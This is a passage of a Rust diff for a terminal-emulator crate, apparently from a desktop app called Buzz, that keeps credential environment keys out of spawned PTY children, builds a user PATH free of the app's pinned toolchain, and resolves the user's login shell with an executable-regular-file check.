);
}
/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate
/// grows a new secret, this points at the file to update.
#[test]
fn reserved_keys_are_covered() {
let source = include_str!("../../../src/managed_agents/env_vars.rs");
let declared: Vec<&str> = source
.lines()
.skip_while(|line| !line.contains("RESERVED_ENV_KEYS"))
.take_while(|line| !line.trim_start().starts_with("];"))
.filter_map(|line| line.trim().strip_prefix('"'))
.filter_map(|line| line.split('"').next())
.filter(|key| {
// Only identity/credential keys are in scope here: the rest of
// RESERVED_ENV_KEYS guards agent-config override, which cannot
// apply to a child that inherits nothing.
key.contains("PRIVATE_KEY")
|| key.contains("AUTH_TAG")
|| key.contains("API_TOKEN")
|| key.contains("RELAY_URL")
})
.collect();
assert!(!declared.is_empty(), "failed to parse RESERVED_ENV_KEYS");
for key in declared {
assert!(
SECRET_KEYS.contains(&key),
"{key} is a credential in RESERVED_ENV_KEYS but is not covered by \
this crate's SECRET_KEYS; add it here"
);
}
}
@@ -5,11 +5,20 @@
//! child process, or the transport — those are the embedder's, so this crate
//! stays testable against byte fixtures with no process and no window.
pub mod context;
pub mod damage;
pub mod env_fence;
pub mod fences;
pub mod listener;
pub mod path;
pub mod reader;
pub mod shared;
pub mod shell;
#[cfg(test)]
mod context_tests;
#[cfg(test)]
mod env_fence_tests;
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::term::{Config, Osc52, Term};
@@ -0,0 +1,46 @@
//! `PATH` derivation for spawned PTY children.
//!
//! Buzz's own process runs under Hermit activation, so its `PATH` leads with
//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim
//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's
//! pinned build toolchain rather than the ones they installed. That is a
//! product defect, not merely untidy: `⌘J` then `cargo --version` should
//! answer for the user's machine, not for Buzz's build.
//!
//! The abandoned `feat/terminal` branch tried to solve this by subtracting
//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The
//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV`
//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads
//! those same keys at `:505-506` to learn what to strip. With both keys
//! already gone the roots list is empty and the function returns early,
//! leaving the hermit entries in place. Verified by reproduction: in that
//! order the child's `PATH` is unchanged; reversed, the hermit entries are
//! removed. A subtractive fence depends on evidence of what to subtract, and
//! that evidence is exactly what the preceding cleanup destroys.
//!
//! So `PATH` is *constructed*, not filtered. The child gets the platform's
//! standard user path, which is what a login shell would have produced had
//! Buzz never been in the picture.
/// The default user `PATH` for a spawned shell.
///
/// This intentionally does not consult Buzz's own `PATH`. A login shell reads
/// the user's rc files, which prepend their own entries (homebrew, asdf, mise,
/// `~/.local/bin`); starting from the platform default lets that happen
/// normally instead of layering it on top of Buzz's build toolchain.
#[cfg(unix)]
pub fn user_shell_path() -> String {
// Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system
// binaries only. `/usr/local/bin` is included because it is the
// conventional prefix on both macOS and Linux for user-installed tools
// that rc files expect to already be present.
"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string()
}
#[cfg(windows)]
pub fn user_shell_path() -> String {
// On Windows the system directories are derived from the environment
// rather than fixed, and `cmd.exe`/PowerShell resolution depends on them.
let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string());
format!(r"{root}\system32;{root};{root}\system32\Wbem")
}
@@ -0,0 +1,132 @@
//! Login-shell resolution for spawned PTY children.
//!
//! Tyler asked for the user's shell of choice, so the resolution order is the
//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters
//! is the *validity* test applied at each step, and it is not "the path
//! exists".
//!
//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553`
//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute
//! this" for *any* file type, and a directory carries the execute bit to mean
//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C
//! repro and end-to-end through a real PTY: with `SHELL=/tmp`,
//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns
//! `Ok`, and the child dies with exit code 1 after printing
//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`.
//! The user gets a terminal that opens and instantly dies with a Rust runtime
//! panic, and every layer above reported success.
//!
//! So we require an **executable regular file**, following symlinks: `stat`
//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink
//! on many systems. A directory or a non-executable file falls through to the
//! next candidate instead of becoming an unspawnable child.
use std::path::Path;
/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable
/// the machine has bigger problems than our terminal.
pub const FALLBACK_SHELL: &str = "/bin/sh";
/// Returns true if `path` is a regular file this process may execute.
///
/// The conjunction is load-bearing and neither half suffices:
///
/// - `access(X_OK)` alone accepts a **directory** — the execute bit means
/// *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug
/// inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with
/// `SHELL=/tmp` the child aborts with a Rust runtime panic while every
/// layer reports success.
/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute.
/// The bits say *some* class has execute permission, not the applicable
/// one, and they do not evaluate ACLs. Verified with a self-owned regular
/// file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and
/// running it gives `Permission denied`.
///
/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash`
/// is legitimate) **and** effective executability via `access(X_OK)`.
#[cfg(unix)]
pub fn is_executable_file(path: &Path) -> bool {
let Ok(meta) = std::fs::metadata(path) else {
return false;
};
meta.is_file() && can_execute(path)
}
/// `access(path, X_OK)`: does the *effective* user have execute permission,
/// accounting for the applicable permission class and ACLs?
#[cfg(unix)]
fn can_execute(path: &Path) -> bool {
use std::os::unix::ffi::OsStrExt;
let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
return false; // interior NUL: not a path we can ask about
};
// SAFETY: `c_path` is a valid NUL-terminated C string for the duration of
// the call, and `access` only reads it.
unsafe { libc::access(c_path.as_ptr(), libc::X_OK) == 0 }
}
/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then
/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`].
///
/// `shell_env` is the caller's view of `$SHELL` so the resolution order is
/// testable without mutating process-global state; production passes
/// `std::env::var_os("SHELL")`.
#[cfg(unix)]
pub fn resolve_shell(shell_env: Option<&str>) -> String {
// One validation path for every candidate, deliberately. Validating each
// branch separately leaves the passwd branch's check untestable on any
// machine whose passwd shell happens to be valid — a mutant that deletes
// it survives because nothing can distinguish it. Sharing `validated`
// means the `$SHELL` arm's coverage is the passwd arm's coverage.
let candidates = [shell_env.map(str::to_owned), passwd_shell()];
candidates
.into_iter()
.flatten()
.find(|candidate| validated(candidate))
.unwrap_or_else(|| FALLBACK_SHELL.to_owned())
}
/// The single validity test every shell candidate must pass.
#[cfg(unix)]
fn validated(candidate: &str) -> bool {
is_executable_file(Path::new(candidate))
}
/// The current user's login shell from the passwd database, unvalidated:
/// `resolve_shell` applies the shared [`validated`] check to it.
///
/// This is the step that matters for a Finder- or launchd-started app, which
/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh`
/// and call it their shell of choice.
#[cfg(unix)]
pub(crate) fn passwd_shell() -> Option<String> {
// SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by
// libc, valid until the next passwd-database call. We copy the string out
// before returning and make no other libc calls in between.
let shell = unsafe {
let ent = libc::getpwuid(libc::getuid());
if ent.is_null() {
return None;
}
let pw_shell = (*ent).pw_shell;
if pw_shell.is_null() {
return None;
}
std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned()
};
Some(shell)
}
/// The login-shell `argv[0]` convention: the shell's basename prefixed with
/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as
/// a login shell, without sniffing its name or guessing its flag grammar.
///
/// `portable-pty` applies this itself for a default program
/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted
/// against a value we own rather than against the dependency's behaviour.
pub fn login_argv0(shell: &str) -> String {
let basename = shell.rsplit('/').next().unwrap_or(shell);
format!("-{basename}")
}